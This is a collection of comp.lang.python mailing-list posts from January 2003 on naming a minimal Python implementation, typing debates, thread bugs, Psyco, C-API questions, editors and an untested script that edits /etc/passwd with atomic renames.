Date: Thu, 16 Jan 2003 00:05:27 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]    Minimal Python project)
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org> <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com> <mailman.1042596149.25126.python-list@python.org>
Message-ID: <bHmV9.2972$qU2.1652@news1.central.cox.net>

[...snip...]
> Our final goal is to make Python self-contained, that means that
> Python should implement itself, and it should no longer be
> dependant of some C libraries, nor should its majority be
> coded in C. The C part of this new Python will be put down
> to the absolute minimum possible by a simple and portable
> micro interpreter core. Everything else will be built on top of
> this.
> While this minimal interpretrer in C will be able to run on any
> platform, this is only a matter of bootstrap and basic portability.
> For every relevant platform, a real code generator will be developed,
> which will hopefully create code that is comparably fast like the
> C implementation. Furthermore, due to the dynamic techniques in
> Psyco, we do hope to get it reasonably faster.
>
Since the goal is a minimal C implementation of Python, how about
       mCPython
pronounced: em see Python
?
Or even more retro for you Tron fans: MCP
-Jeff





From boethius at techie.com  Sun Jan 12 16:34:47 2003
From: boethius at techie.com (Boethius)
Date: 12 Jan 2003 13:34:47 -0800
Subject: String representation of an identifier's name
Message-ID: <67446a0a.0301121334.22fe0673@posting.google.com>

I think it easier to explain with an example, so here it goes:
Assuming there's a function fn that does what I want, it would work like this:

g = 23
foo = {'a':56}

fn(g) => 'g'
fn(foo) => 'foo'

How can I write fn? O:-)



From karsten at rohrbach.de  Sun Jan  5 17:24:19 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 5 Jan 2003 22:24:19 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <slrnb1g1qr.sgg.karsten@datasink.webmonster.de> <3E1848DA.DE85B247@engcorp.com> <mailman.1041781509.19623.python-list@python.org>
Message-ID: <slrnb1hca9.1ht7.karsten@datasink.webmonster.de>

Laura Creighton <lac at strakt.com> wrote:

[strong/weak/dynamic typing]

> which teach precisely this.  And, no, it doesn't mean that people
> like Karsten W. Rohrbach don't understand the difference between
> what Python does, and what Perl does -- but when they want to
> discuss this difference, they speak of whether the language does
> or does not support 'automatic promotion of types' -- which is
> completely independent of whether you have to declare them or not,
> and whether you can rebind them on the fly.

Laura, thanks for the kind words. As you implictly pointed out, I am
not a programming language designer, and obviously my dictionary lacks
the right words to stick to the right terminology. Checking the archives
brought quite some enlightenment. In the first place I should have
written something like "a language."

As for the ".NET vs. Python" issue, I think the message was clear
enough. One of them is a framework, one might call it more a strategy.
The other one is a programming language.

    >>> hair.split()
    ['But', "isn't", 'Python', 'also', 'a', 'strategy?']

:-)

Regards,
/karsten





From nav at adams.patriot.net  Tue Jan 28 10:10:51 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 28 Jan 2003 10:10:51 -0500
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org> <7x3cnexbt1.fsf@ruckus.brouhaha.com>
Message-ID: <yyyk7gpmhs4.fsf@adams.patriot.net>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> I think there's still time to get it in, but not much. 

  [...]

> Note that the file I put up had a number of bugs; I've updated it
> several times today.

When it comes to code that has to do cryptographic work, the above two
statements are not comforting in combination.

Sorry if I come off like a smartass, but I've had some experience with
security related software, and a rush to distribution is not a great
development strategy.

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From kubin at opf.slu.cz  Wed Jan 29 11:09:16 2003
From: kubin at opf.slu.cz (Lukas Kubin)
Date: Wed, 29 Jan 2003 17:09:16 +0100
Subject: Starting threads -- solved
In-Reply-To: <3E37F54D.D791A6B2@engcorp.com>
References: <mailman.1043811831.15197.python-list@python.org>
 <Pine.LNX.4.44.0301291530030.26166-100000@x.opf.slu.cz> <3E37F54D.D791A6B2@engcorp.com>
Message-ID: <Pine.LNX.4.44.0301291655110.26166-100000@x.opf.slu.cz>

You are right. I did access the "comp" (containg hostname) variable
globally instead of use the form "classname.variablename" or "self.comp".
Yes, it's a beginners' fault. Don't laugh, please :) I'll do it no more
(hope).
Thank anybody for trying to help me and sorry I've took your time.

lukas

On Wed, 29 Jan 2003, Peter Hansen wrote:

> Lukas Kubin wrote:
> >
> > It's been half a day since I sent a more describing response to the news.
> > Until now it didn't appear there. So I will try to be more clear now
> > again:
> > (I'm running it on linux and python 2.2.1)
> >
> > The main call looks like:
> >
> > if __name__ == '__main__':
> >
> >   for comp in ['hostname1','hostname2']:
> >     thread = Control(comp)
> >     thread.start()
> >     time.sleep(.005)
> >
> > The doTheAction() function uses socket to connect to a computer and send a
> > command there.
> > When I don't use the time.sleep() then it starts 2 threads of 'hostname2'
> > so it connects 2 times to hostname2 but not to hostname1.
>
> Please go back and read my first reply again.
>
> With the extra information (still minimal... please post doTheAction()!)
> you've provided, I'm now more convinced that my first guess was correct.
> You very likely have a code-reentrancy problem, possibly because you're
> using a global variable (?), which is causing the problem.
>
> The above code is certainly starting two threads.  The issue is how
> does the first thread hear about "hostname2" instead of "hostname1".
> The only likely answer is that you do not have thread-safe code.
> Please post doTheAction() if you can't find the problem yourself.
> Without it, we're stuck.
>
> -Peter
>

-- 
Lukas Kubin

phone: +420696398285
email: kubin at opf.slu.cz

Information centre
The School of Business Administration in Karvina
Silesian University in Opava
Czech Republic
http://www.opf.slu.cz




From mertz at gnosis.cx  Tue Jan 28 17:32:21 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 28 Jan 2003 17:32:21 -0500
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr>
 <pan.2003.01.27.19.32.31.636081@dot.com> <3E374704.4070906@removethis.free.fr>
 <mailman.1043790187.22314.python-list@python.org>
Message-ID: <1TwN+kKkX4/B092yn@gnosis.cx>         

holger krekel <pyth at devel.trillke.net> wrote previously:
|> >><attempt to translate, pardon my french!->
|French?

I chuckled at the remark... so an explanation for our non-American
readers (I'm not sure if the idiom exists in Brit, Oz, Ziwi, Indian,
etc. variants, maybe so).

Saying "pardon my french" is a silly way of apologize for swearing, or
saying something otherwise inappropriate.  My own notion is probably
apocryphal, but I imagined the origin to connect to Mark Twain's running
gag in (I think) _Tom Sawyer_ that if the characters couldn't understand
what someone was saying, it must be French (i.e. foreign
language=french).  I'm not sure if the assumption was that New Orleander
(who speak french or creole) would swear particularly much, or merely
that swearing was somehow a "different" way of speaking.

--
 mertz@   _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i
gnosis  _/_/                    Postmodern Enterprises         _/_/  s r
.cx    _/_/  MAKERS OF CHAOS....                              _/_/   i u
      _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/    g s





From gerrit at nl.linux.org  Sat Jan  4 03:51:06 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 4 Jan 2003 09:51:06 +0100
Subject: practice programs
In-Reply-To: <3e1623e1$1_5@nopics.sjc>
References: <3e1623e1$1_5@nopics.sjc>
Message-ID: <20030104085106.GA2397@nl.linux.org>

Tupoi schreef op zaterdag  4 januari om 01:01:19 +0000:
> any ideas for programms a begginer might try writing to help hone his skills

I wrote a 'du' program, which lists the largest directories recursively on
a filesystem. The good thing is that I actually use it extensively. You
can e-mail me if you're interested in the source-code.

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From brian at sweetapp.com  Mon Jan  6 05:02:38 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Mon, 06 Jan 2003 02:02:38 -0800
Subject: Python vs .Net
In-Reply-To: <v1i5tsger4jv81@corp.supernews.com>
Message-ID: <00c901c2b56a$be903d80$21795418@dell1700>

> - VB.NET (as well as C##) are/can be very strongly statically typed -
> even more so than VB6.  I'm still trying to determine if I like a
> strongly _dynamically_ typed language like Python.  I'm having a hard
> time understanding why it's not better to know at compile time that
> ['foo' + 5] is an exception.  

There is a lot of literature explaining the advantages/disadvantages of
static typing. The biggest advantage, IMHO, is that dynamic typing gives
you more flexibility.

> If I have to wait until runtime, then I
> would think that I need to be writing LOTS more error checking code at
> all my function entry points, whereas with strong static typing, I can
> catch all this at compile time. 

Type information is usually not sufficient to validate arguments. And
functions don't validate their arguments in any case. So you often have
to do runtime debugging. Python has two things going for it here: very
rich exceptions and a good unit testing framework.

Cheers,
Brian





From abelikov72 at hotmail.com  Mon Jan 20 21:10:07 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 02:10:07 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <v2p1de5pghue49@corp.supernews.com>
Message-ID: <a6bp2vcvidn1e7c6mnp4lai1dkv5akmnsu@4ax.com>

On Mon, 20 Jan 2003 23:26:38 -0000, claird at lairds.com (Cameron Laird)
wrote:

>In article <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>,
>Afanasiy  <abelikov72 at hotmail.com> wrote:
>> 		.
>> 		.
>> 		.
>>Possible solutions should do 99% of the following :
>>
>>* Run on the same hardware I use currently
>>
>>* Be as fast or faster than Apache+PHP
>>  (I'm sorry to say Zope/Roxen are not)
>>  (This might mean it must use Apache)
>> 		.
>> 		.
>> 		.
>?  I'm having parse difficulties.  Are you saying you used
>Zope through Roxen CGI, and found the performance of *that*
>combination inadequate?  I guess that's not much of a surprise
>...  Roxen's a speed demon if you use its native scripting,
>and there are also faster Zope architectures than CGI.

No that's not what I am saying. I have grouped Roxen and Zope together
as similar products that also happen to be similarly too slow for me.



From nav at adams.patriot.net  Fri Jan 17 15:58:49 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 15:58:49 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <wDZV9.138$bs2.110@news2.central.cox.net>
Message-ID: <yyy7kd3sdbq.fsf@adams.patriot.net>

"Steve Holden" <sholden at holdenweb.com> writes:

> Here's my own non-reversing solution. Again, it would need tweaking for
> negative numbers to avoid results like "-,123".
  [...]
> I've even tested it.

Even in Python, TMTOWTDI... That one was great, thanks Steve.

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From mickey at tm.informatik.uni-frankfurt.de  Tue Jan  7 16:34:47 2003
From: mickey at tm.informatik.uni-frankfurt.de (Michael 'Mickey' Lauer)
Date: 7 Jan 2003 23:34:47 +0200
Subject: Help required to get PyQt working on Linux
References: <avfhgh$ndf$1$8300dec7@news.demon.co.uk>
Message-ID: <3e1b5606@nntp.server.uni-frankfurt.de>

Alan Hughes <postmaster at 127.0.0.1> wrote:
[...]
> Platform: Mandrake Linux 9.0, Python 2.2 (vanilla RPM from Mandrake), QT 
> 3.0.5 (vanilla RPM from Mandrake), PyQt 3.5 (RPM from Mandrake contribs).
[...]
> it complains about an undefined symbol. The symbol appears to be a standard 
[...]

This is a common problem - please see the pykde mailing list archive for solutions.

Cheers,

:M:




From skip at pobox.com  Tue Jan  7 16:50:15 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Jan 2003 15:50:15 -0600
Subject: moving items in a list
In-Reply-To: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>
References: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>
Message-ID: <15899.19351.622623.244760@montanaro.dyndns.org>

    ...
    Mark>         j = i - 1
    Mark>         swap_with = l[j]
    Mark>         l[i] = swap_with
    Mark>         l[j] = item
    ...

How about

    l[i-1], l[i] = l[i], l[i-1]

?  It's visually simpler than using a temporary variable and captures the
sentiment better I think.

Skip




From grante at visi.com  Mon Jan 27 23:47:45 2003
From: grante at visi.com (Grant Edwards)
Date: 28 Jan 2003 04:47:45 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <slrnb3c0lg.b4r.grante@localhost.localdomain> <3e360342_3@corp.newsgroups.com>
Message-ID: <slrnb3c35t.b5p.grante@localhost.localdomain>

In article <3e360342_3 at corp.newsgroups.com>, Norm wrote:
> I should have mentioned that I tried "199" as well.  No luck no error.
> 
> Am I opening the file in the correct mode  r+   ?

I'm not sure what you mean.  Are you expecting the change to show up in the
file?  There's no code in your program to write the changed data to a file.

OK. The canonical way to do this is to write the data back out to a
temporary file.  When you're done, close the temporary file and rename it.
That way if your system crashes while the program is running you always have
a valid passwd file.  You _want_ to have a valid passwd file at all times.

WARNING: I haven't actually tested this. You may need to add some code to
make sure the new file has proper permissions, etc.  You should also use one
of the library routines to generate a nice temporary filename for you.  But,
make sure the temporary file is in the same filesystem as /etc/passwd.  That
way the mv() system call used by os.rename() will have as small a critical
region as possible.

    pw = "/etc/passwd"
    tmp = "/etc/tempfilename"
    infile = open(pw,"r")
    outfile = open(tmp,"w")
    while 1:
        record = infile.readline()
	if not record:
  	    break
        fields = record.split(':')
        if fields[3] == "200":
            print fields[0], " has a GID of 200"
            print "now changing it to 199"
            fields[3] = "199"
        file.write(":".join(fields))
    infile.close()
    outfile.close()
    os.rename(tmp,pw)

You may want to make a backup copy of the original file.  You *could* just
rename it like this:

    infile.close()
    outfile.close()
    os.rename(pw,"/etc/passwd.old")
    os.rename(tmp,pw)
    
But, during the time between the two "os.rename" calls, you don't have any
passwd file at all.  If a program tries to read /etc/passwd at that exact
moment, it will fail.  If your program/system dies at that exact point,
you're going to have to get out a rescue CD.  

It's less risky to do something like this:

    infile.close()
    outfile.close()
    shutil.copyfile(pw,"/etc/passwd.old")
    os.rename(tmp,pw)

The mv() system call used by os.rename() is atomic (from a filesystem point
of view) as long as the temp file is on the same fs as /etc/passwd.  That
means that at all times any program can open /etc/passwd and get either the
old file or the new file.  There is no way for a program to get an
intermediate or incomplete file as could happen if you just wrote to
/etc/passwd directly.  Even if your system crashed during the os.rename(),
you should be able to recover the filesystem and have either a valid file
(either the old or new one, it doesn't really matter at that point).

-- 
Grant Edwards                   grante             Yow!  Mr and Mrs PED, can
                                  at               I borrow 26.7
                               visi.com            



From tim.one at comcast.net  Fri Jan 24 18:06:05 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 24 Jan 2003 18:06:05 -0500
Subject: killing thread ?
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1DD@admin56.narex.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHIEFFEKAA.tim.one@comcast.net>

[Jp Calderone]
> ...
> It is currently not possible to write a secure sandbox in
> Python.  I'm not sure if you can call that a bug; it's certainly
> unfortunate.

[Tim]
> Just curious:  does there exist a programming language in which it is
> possible [to] do this?  If so, who guarantees it, and via what kind
> of validation process?

[Bjorn Pettersen]
> For the marketing version:
> http://java.sun.com/marketing/collateral/security.html
>
> insert-appropriate-smiley'ly y'rs

The original branch point for this thread was talking about
denial-of-service attacks, such as sucking up too much CPU.  To Sun's
credit, near the bottom of the linked page they plainly say that Java's
protection against DOS is "weak"; heck, they even list 5 specific ways Java
applets can render host machines unusable, and it doesn't take much
imagination to dream up many more.

I don't expect JavaScript/ECMAScript is any better in this respect.  For
that matter, I'm having a hard time imagining a *usable* programming
language that could be.





From mwh at python.net  Fri Jan 17 11:38:08 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 16:38:08 GMT
Subject: Can you obtain names from parent scope?
References: <850fb3a6.0301170751.488179c6@posting.google.com>
Message-ID: <7h365snn33t.fsf@pc150.maths.bris.ac.uk>

wsadkin at nameconnector.com (Will Sadkin) writes:

> However I can't make this work, because objects don't have any
> intrinsic name, and if I write a function of the form
> >>> def dbgval(*args):
>     ...
> 
> then dbgval() only knows the arguments objects as belonging to the
> list 'args', and I can't find any way to determine what the names
> were in the parent's local scope when the function was called.

How did you know they had any?

dbgval({})

> Is there any way for a function to retrieve this information?

Well, you can hack around in the bytecode.  I've posted code to do it
to c.l.py before -- hit google if you like.

Cheers,
M.

-- 
  Java is a WORA language! (Write Once, Run Away)
                	-- James Vandenberg (on progstone at egroups.com)
                           & quoted by David Rush on comp.lang.scheme



From martin.schmettow at bibliothek.uni-regensburg.de  Wed Jan 29 09:27:52 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Wed, 29 Jan 2003 15:27:52 +0100
Subject: lost Hashability with __cmp__
Message-ID: <b18o81$p21$1@rrzd1.rz.uni-regensburg.de>

Hi all.

I declared a __cmp__ for a class. Now I get an TypeError: unhashable 
instance if  I use objects of this class as keys in a dictionary.
Can someone explain why and how I can gain back hashability?

Thanks
Martin.




From phil at river-bank.demon.co.uk  Sat Jan 18 07:23:15 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sat, 18 Jan 2003 12:23:15 +0000
Subject: Overloading methods in C API
In-Reply-To: <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200301181223.15619.phil@river-bank.demon.co.uk>

On Saturday 18 January 2003 11:55 am, Martin v. L?wis wrote:
> Afanasiy <abelikov72 at hotmail.com> writes:
> > How is it expected I create overloaded methods/functions in the C API?
>
> This is not possible. Overloading of methods is not supported in Python.

So you have to implement it yourself by checking the types of the arguments 
and calling the right overload, by which time you really need to be using an 
automatic bindings generator to do it for you.

http://www.riverbankcomputing.co.uk/sip/ is my favorite. :)

Phil




From urba0083 at tc.umn.edu  Fri Jan 10 16:12:35 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Fri, 10 Jan 2003 15:12:35 -0600
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com>
Message-ID: <3E1F3743.7050903@tc.umn.edu>

My favorite Python editor for Windows these days is Crimson Editor.
(www.crimsoneditor.com). It has a decent syntax highlighting mode
for Python and it is freeware. I'm not a big fan of IDEs. Prefer
to just keep a cmd window open and test scripts from there.







From wrbt at email.com  Fri Jan 10 12:23:25 2003
From: wrbt at email.com (Larry)
Date: 10 Jan 2003 09:23:25 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <2ec1bc1c.0301100923.5a2e9bce@posting.google.com>

genericax at hotmail.com (Sara) wrote in message news:<776e0325.0301070721.7405a312 at posting.google.com>...
>
> I'd be a parking attendant  before I'd learn ASP. You may
> be taking over the world Bill but you ain't getting ME!
> 
Sometimes you have to give a little to get.

When I came here my company was 100% NT/ASP/SqlServer for their web
applications. There was no way I was going to sell them on a complete
change, so I started slipping it under the radar a piece at a time.

I remember the first time: we needed to generate graphs on the fly. As
people sat comparing prices and licensing issues on the various
VBScript/ActiveX solutions I whipped it up a demo using Python and
PIL. Sold. It worked, it worked for free, and it could operate
seamlessly with the massive, steaming pile of vbscript. Since then
I've been implementing more and more of our project in Python. Sure
I'm still in ASP but I'm building up a nice library of Python modules
that are called from the ASP/Python scripts.

I'd say about 90% of the code I write now is Python, and my constant
preaching is slowly winning converts. They haven't really dived in but
I get a lot of "wow that is pretty cool" these days. One BIG selling
point to ASP people is making changes to a module and being able to
open an shell, import it, and test the function. And I mean REALLY
test the function. Most of what you're returning to a web app is lists
or lists of lists to be displayed. Sitting there interactively picking
apart the results of a function, as used to Python guys and gals are
to doing, gets a huge wow from an asp/vbscript crowd. They're used to
refreshing web pages and hoping errors don't fall in between table
elements that display.

I'm planning on taking another beachhead by working Cheetah in this
spring. Wish me luck comrades. :)



From cnetzer at mail.arc.nasa.gov  Fri Jan 10 19:14:37 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 10 Jan 2003 16:14:37 -0800
Subject: [ann] Minimal Python project
In-Reply-To: <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <200301110014.QAA15401@mail.arc.nasa.gov>

On Friday 10 January 2003 15:37, Edward K. Ream wrote:
> > As Armin Rigo of PSYCO fame takes part in the effort,
> > we are confident that MinimalPython will eventually
> > run faster than today's CPython.

> I am inclined to disbelieve this claim.  Why should Psycho be able to
> do better than an optimizing C compiler applied to hand-written
> interpreter code and/or library code?

Perhaps because the hand-written code is not tuned for speed, and not 
easily optimized by a C compiler for ultimate speed.  The Python code 
makes a number of clever optimization regarding memory allocation and 
other issues, but in general, it goes for straightforward, portable 
design, rather than lots of fancy optimization tricks.

Someone trying to make the fastest C version possible of Python, may be 
able to do much better, but it could be a lot of work (and in 
particular, may require converting a lot of existing Python code into 
C), without being more maintainable or portable.  Currently, a LOT of 
the Python Library is implemented in Python, not C.

> Would anyone care to enlighten me how MinimalPython will achieve its
> stated goals?

Take a look at Psyco.  It tries to produce faster runtime code based on 
evaluation of runtime characteristics.  Ie. it specializes at runtime, 
rather than compilation.  This is a whole different class of optimizing 
than C compilers are traditionally doing, and has had some good results 
(apparently) so far.

So whether or not the new project will be faster than CPython, I don't 
know.  But there is ample evidence to suggest that the claim that it 
could be faster, is not hollow.

http://psyco.sourceforge.net/introduction.html

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From stojek at part-gmbh.de  Wed Jan 29 07:20:16 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Wed, 29 Jan 2003 12:20:16 +0000
Subject: Can you do it faster? (parsing text file)
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <fnef3vcsaort42at7tqhc5991rdpcm6meu@4ax.com>

Hi,

a lot of thanks to all of you. I have tried all of the things
that you have suggested. "minor" optimization like changing scope
of the string functions or using map etc. didn't solve my problem.
Using csv is very comfortable, but increases speed only by app. 1 sec.

The real hitter is SimpleParse. For my testfile I am down to app. 3
sec. with the grammar from Mike (thanks).

Of course my "real world" parser has to be more sophisticated and I
still have to convert the data into floats, ints etc. and collect them
in lists. I guess the DispatchProcessor the right tool for this, but I
still have some problems to understand the concept.

Some work for me, but as Stephen said -- a lot of fun.

thanks again,
marcus





From tchur at optushome.com.au  Mon Jan 13 01:33:43 2003
From: tchur at optushome.com.au (Tim Churches)
Date: 12 Jan 2003 20:33:43 -1000
Subject: Performance penalty for using classes?
In-Reply-To: <33803989.0301120004.76e09b9a@posting.google.com>
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <1042439634.1279.6.camel@emilio>

On Sat, 2003-01-11 at 22:04, Miki Tebeka wrote:
> Hello All,
> 
> I need my M.Sc. to run fast but I don't want to recode it in C.
> I've noticed that using classes can cause my code to run about 30%
> slower.
> (See the below tests)
> 
> Since I don't need OO much in this project is it worth moving to a
> non-OO programming style?
> 
> Miki
----snip-----

Why not use Psyco (see psyco.sf.net):

#----class_test.py--------
#!/usr/bin/env python
import random, time

class Dot:
    def __init__(self, x, y):
        self._x = x
        self._y = y

    def x(self):
        return self._x

    def set_x(self, x):
        self._x = x

    def y(self):
        return self._y

    def set_y(self, y):
        self._y = y
    

def test_class(iterations):
    while iterations > 0:
        d = Dot(random.random(), random.random())
        x, y = d.x(), d.y()
        d.set_x(y)
        d.set_y(x)
        iterations -= 1

if __name__ == '__main__':
    from sys import argv, stdout
    if len(argv) > 1:
        iterations = long(argv[1])
    else:
        iterations = 100000

    print 'Performing %d iterations without Psyco' % iterations
    stdout.flush()
    start = time.time()
    test_class(iterations)
    end = time.time()
    print '* Done'
    print "That took %.3f seconds" % (end - start)
    print
    import psyco
    psyco.bind(Dot)
    psyco.bind(test_class)
    print 'Performing %d iterations with Psyco' % iterations
    stdout.flush()
    start = time.time()
    test_class(iterations)
    end = time.time()
    print '* Done'
    print "That took %.3f seconds" % (end - start)
#----class_test.py--------

produces this output:

$ python psyco-test.py
Performing 100000 iterations without Psyco
* Done
That took 1.985 seconds

Performing 100000 iterations with Psyco
* Done
That took 1.198 seconds
$

That's a lot easier than rewriting all your code...

Tim C





From andrew-pythonlist at puzzling.org  Mon Jan 13 08:37:30 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 14 Jan 2003 00:37:30 +1100
Subject: Catching exceptions from C/C++ extensions
In-Reply-To: <2830c89c.0301130437.39573be8@posting.google.com>
References: <2830c89c.0301130437.39573be8@posting.google.com>
Message-ID: <20030113133730.GB12112@frobozz.local>

On Mon, Jan 13, 2003 at 04:37:06AM -0800, Andrew Gregory wrote:
> I've written an extension which defines it's own exception class:
> 
> // In initialisation section
>    static PyObject* Myerror;
> 
>    Myerror = PyErr_NewException("_mymodule.Myerror", NULL, NULL);

[..snip..]

> Which is just what I would expect. But if in a script file I have
> something like
> 
> import mymodule
> 
>   try:
>       y=myfunc()
>   except Myerror:
> 
> I get
> 
>   NameError: name 'Myerror' is not defined 

Does:

    import mymodule

    try:
        y = myfunc()
    except mymodule.Myerror:
        ...

do what you want?

-Andrew.





From kevin at cazabon.com  Thu Jan  2 22:20:59 2003
From: kevin at cazabon.com (Kevin@Cazabon.com)
Date: Fri, 03 Jan 2003 03:20:59 GMT
Subject: PyCObject_FromVoidPtrAndDesc... proper destructor use in DLL, HELP!
Message-ID: <vk7R9.539327$P31.179659@rwcrnsc53>

I need a little help on how to properly use PyCObject_FromVoidPtrAndDesc.  I
can't seem to find any good examples, and I'm apparently not bright enough
to understand the documentation (Hey, I'm a Python programmer, not a C
programmer... why should I care about pointers and casting and crap!  That's
why I LOVE Python in the first place!  q:]  )

Here's the situation:

hTransform =  cmsCreateProofingTransform(blah, blah, );
// this works just dandy... I now have a void * to a C object that I want to
pass back to Python for later use in my DLL...(hTransform is a void *)

// I want to convert hTransform to a PyCObject so I can pass it back to
Python for later use in my DLL, so I call:
hTransformPointer = PyCObject_FromVoidPtrAndDesc(hTransform, hTransform,
cmsDeleteTransform);

// The destructor function is cmsDeleteTransform, and takes a single
argument:  the void* for the transform I want to destruct,
// So, I used hTransform as both the object and the desc args to
PyCObject_FromVoidPtrAndDesc... is this correct?

// and I return it to Python using Py_BuildValue... this is fine as-is too.
return Py_BuildValue("O", hTransformPointer);


The problem is that this setup doesn't seem to work:  the memory doesn't
seem to be reclaimed when the object is deleted (or goes out of scope).  If
you create/delete objects this way repeatedly, memory keeps climbing.
(however, I can properly use the object later by passing it back to the
DLL... no problems there, just in memory usage)

Any pointers (haha) on how to use this correctly so that cmsDeleteTransform
gets called with hTransform as the argument when Python reclaims the object
would be appreciated!!!  (Is it possible that I have to play with reference
counts?)

Thanks!

Kevin Cazabon.





From nhodgson at bigpond.net.au  Sat Jan 11 19:55:26 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sun, 12 Jan 2003 00:55:26 GMT
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com> <tB1U9.2282$UB4.11237@news-server.bigpond.net.au> <unc12vkce97kag59au9eomloaean52i46t@4ax.com>
Message-ID: <223U9.2417$UB4.11830@news-server.bigpond.net.au>

Dale Strickland-Clark:

> While you're there, how easy is it to modify the key-bindings? I'm
> rather used to the way PythonWin does a few things.

   Have a look at user.shortcuts in the documentation at
http://www.scintilla.org/SciTEDoc.html
   It can't change everything but it may be enough.

   Neil





From tjreedy at udel.edu  Mon Jan 13 10:41:09 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 13 Jan 2003 10:41:09 -0500
Subject: is it possible with python ?
References: <avu0ro$j25rt$1@ID-146704.news.dfncis.de>
Message-ID: <bYidnfykk-8mQ7-jXTWcqA@comcast.com>

"shagshag13" <shagshag13 at yahoo.fr> wrote in message
news:avu0ro$j25rt$1 at ID-146704.news.dfncis.de...
> hello,
>
> i would like to add a new tab in properties available when right
click on a
> file on a windows platform (in fact this would be a simple md5
computation
> of that file). Does python can help me with that ? does anyone has
links on
> how to do that with python ?

You should get Mark Hammond's win32all package either directly
http://starship.python.net/crew/mhammond/
 or as part of the ActiveState ActivePython release.  The win32
extensions "provide Python-level interfaces to a large number of
Windows libraries".  Mark has also co-written a book on how to use
them (see link above).  In particular, I believe the extensions wrap
the registry manipulation functions you need to do what you want.

Terry J. Reedy





From sjmachin at lexicon.net  Thu Jan 16 16:31:48 2003
From: sjmachin at lexicon.net (John Machin)
Date: 16 Jan 2003 13:31:48 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au>
Message-ID: <c76ff6fc.0301161331.27350f1a@posting.google.com>

"Simon Burton" <simonb at webone.com.au> wrote in message news:<pan.2003.01.16.09.42.41.751206 at webone.com.au>...
